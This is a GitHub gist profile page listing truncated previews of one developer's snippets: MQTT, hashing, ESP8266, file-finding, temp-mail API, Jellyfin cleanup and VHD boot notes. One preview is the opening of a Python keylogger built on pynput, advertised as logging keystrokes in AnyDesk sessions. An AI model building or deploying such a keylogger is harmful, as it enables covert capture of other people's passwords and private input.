Skip to content

Instantly share code, notes, and snippets.

View moinologics's full-sized avatar
🏠
Working from home

Moin Ahmad moinologics

🏠
Working from home
View GitHub Profile
syntax reference - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Range#syntax
^bytes=(([0-9]{1,}-[0-9]*)|([0-9]*-[0-9]{1,}))(, (([0-9]{1,}-[0-9]*)|([0-9]*-[0-9]{1,})))*$
@moinologics
moinologics / python_keylogger.py
Created September 13, 2021 04:28
keyloggin with anydesk session keylogging support
from pynput.keyboard import Listener # pip install pynput
def log_keystroke(key):
if hasattr(key, 'char') and key.char != None:
key = '{}'.format(key.char)
else: #special key
key = str(key).replace("'", "")
if key in keys:
key = keys[key]
@moinologics
moinologics / mqtt.js websocket example
Created August 6, 2021 19:11
simple example for mqtt over websocket
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>mqtt</title>
<script type="text/javascript" src="https://unpkg.com/mqtt/dist/mqtt.min.js"></script>
</head>
<body>
<div>
<input type="text" id="in"> <button onclick="send()">send</button>
@moinologics
moinologics / hashgen.html
Last active July 31, 2021 09:00
generating hash on client side browser, tested 1.7 GB file in 17 seconds
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Generating Hash within Browser</title>
</head>
<body>
<input type="file" name="" id="file" onchange="generate_hash(event.target.files[0])">
@moinologics
moinologics / esp8266_pins.py
Created July 14, 2021 17:09
micropython class for contolling esp8266 pins
from machine import Pin
class Pins:
__configs = {
4: {
"mode": 'out',
"value": 0
},
@moinologics
moinologics / large_files.py
Last active July 1, 2021 20:06
finding large files in the system using python
from os import walk, sep, path
from math import floor, log
def convert_size(size_bytes):
if size_bytes == 0:
return "0B"
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(floor(log(size_bytes, 1024)))
p = 1024 ** i
s = round(size_bytes/p, 2)
@moinologics
moinologics / onesecmail_api.py
Created March 19, 2021 07:40
python class for 1secmail.com
import requests as http
class OneSecMail():
"""class for 1secmail.com api"""
def __init__(self,http_timeout=5):
self.base_url = 'https://www.1secmail.com/api/v1/'
self.http_timeout_sec = http_timeout
def __fetch(self,url):
"""a private utility function for http request"""
@moinologics
moinologics / purge-jellyfin-content.py
Created February 15, 2021 07:09
Purge Jellyfin(media server) Extracted Content From Media Library Folder Using Python
import os
libraries_path = ['E:\\Video\\Tv Series','E:\\Video\\Movies']
#insert library path above
#Note - All .nfo and .jpg file will be remove
for library_path in libraries_path:
for root, dirs, files in os.walk(library_path):
@moinologics
moinologics / gist:ae4ef54d654814b8373678d4678561e2
Last active February 4, 2021 06:46
install Windows 10 on vhd & dual boot a pc
in this gist, we will see how can we install whole windows 10/8/8.1/7/xp/vista on a singal vhdx(virtual hdd) file.
Step 1: Create a VHDX from diskpart
a) From the Command Prompt, open Diskpart.
PS > diskpart
b) Create and prepare a new VHDX. In this example, we create a 25 GB fixed-type VHDX.
192.168.43.135 pi.local
192.168.43.135 *.pi.local
192.168.43.243 linux.vm
192.168.43.243 *.linux.vm